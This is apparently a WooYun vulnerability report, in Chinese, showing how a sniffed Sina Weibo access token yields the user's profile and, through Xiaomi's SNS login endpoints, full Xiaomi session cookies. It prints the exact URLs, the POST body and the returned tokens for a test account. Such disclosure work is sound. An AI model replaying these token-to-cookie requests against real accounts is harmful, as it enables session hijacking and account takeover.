WooYun.org

通过各种途径（嗅探等）拿到明文Access Token后，一方面可以通过新浪微博的API获取到该用户的信息：
访问以下URL可以得到用户信息：https://api.weibo.com/2/users/show.json?uid=5386620141&access_token=2.00ByhXsF0ieQMoa397a2459f8ETrVD
返回的用户信息如下：{"id":5386620141,"idstr":"5386620141","class":1,"screen_name":"somebodytest","name":"somebodytest","province":"11","city":"1","location":"北京 东城区","description":"","url":"","profile_image_url":"http://tp2.sinaimg.cn/5386620141/50/0/1","profile_url":"u/5386620141","domain":"","weihao":"","gender":"m","followers_count":10,"friends_count":41,"pagefriends_count":0,"statuses_count":11,"favourites_count":0,"created_at":"Wed Nov 26 14:57:02 +0800 2014","following":false,"allow_all_act_msg":false,"geo_enabled":true,"verified":false,"verified_type":-1,"remark":"","status":{"created_at":"Fri Jan 09 15:20:16 +0800 2015","id":3797122509950836,"mid":"3797122509950836","idstr":"3797122509950836","text":"test","source_type":1,"source":"<a href=\"http://app.weibo.com/t/feed/c66T5g\" rel=\"nofollow\">Android客户端</a>","favorited":false,"truncated":false,"in_reply_to_status_id":"","in_reply_to_user_id":"","in_reply_to_screen_name":"","pic_urls":[],"geo":null,"annotations":[{"client_mblogid":"286b63db-872e-4911-a510-dfb5d054c340","shooting":1}],"reposts_count":0,"comments_count":0,"attitudes_count":0,"mlevel":0,"visible":{"type":0,"list_id":0},"darwin_tags":[]},"ptype":0,"allow_all_comment":true,"avatar_large":"http://tp2.sinaimg.cn/5386620141/180/0/1","avatar_hd":"http://tp2.sinaimg.cn/5386620141/180/0/1","verified_reason":"","verified_trade":"","verified_reason_url":"","verified_source":"","verified_source_url":"","follow_me":false,"online_status":0,"bi_followers_count":0,"lang":"zh-cn","star":0,"mbtype":0,"mbrank":0,"block_word":0,"block_app":0,"credit_score":80,"urank":4}
另一方面只需将http://account.xiaomi.com/pass/sns/login/load?access_token=2.00ByhXsF0ieQMoa397a2459f8ETrVD&remind_in=7799376&expires_in=7799376&uid=5386620141换成https的URL，便可得到该用户的登录cookie信息，如下图。

通过以POST访问https://account.xiaomi.com/pass/sns/login/accessToken，PSOT数据为{"sid":"miliao","load_userprofile":"true","expires_in":"7821015","app_id":"741740764","access_token":'2.00ByhXsF0ieQMoa397a2459f8ETrVD'}，可以获得以下cookie信息：
Set-Cookie: passToken=Aq3FBlXT880Y+FyC7LB8rfjkuJKE4+K86gKvhb4PBrO96pn8ayKCzRBcsyh/OBpXA3CzD2f51ORaDitxICW5DkpJVBKiHj3G2/rzaRZAXwr9fL1CG79olM2F2dl6Yf3aVq/s1/zh3TfBdfiMVNATBcvgkYjd6+fbVsdcfLQugi1Xuj3ugvUKm9/EPsPJk8lnlyy9GT8RalkzI6CNRXmgBuW8spq/ho8xiyZC3WeKyhw=; Domain=account.xiaomi.com; Path=/; HttpOnly
Set-Cookie: sns_login=true; domain=.xiaomi.com; path=/
Set-Cookie: userId=706877703; domain=.xiaomi.com; path=/
Set-Cookie: cUserId=HbemRNQk9nuSsdFXcF7flL-GQX4; domain=.xiaomi.com; path=/
Set-Cookie: userId=706877703; domain=account.xiaomi.com; path=/
Location: http://api.chat.xiaomi.net/miliaosts?snsType=SINA_WEIBO&auth=RMvumolxnaNbUL17iUzHF5DnpL9OU1ACKDyhqjzVChQ%2BHheLB2hu%2FODMXa2ofdIFn5pjR%2BSIl%2BqNcBMb5TPNmcdiWqMj0q4Qd6RdU%2Fyzw9FyPbkNGgW0oqnNKnXyRzLE6wMa%2FYW3DAkJ4Sw8Snwalp9r0ZoZMYMXGXJ3B%2B5mXCY%3D&nonce=qIYxZO7E5McBaWQW&_ssign=JU%2B15GAsK13ZGRcgGg4B%2BGKuAiA%3D
extension-pragma: {"ssecurity":"6qlnbAXBvKck2kMZa6pArQ==","nonce":8520044101657135104,"psecurity":"vEiMle2Rj/L2te4IOClyiQ=="}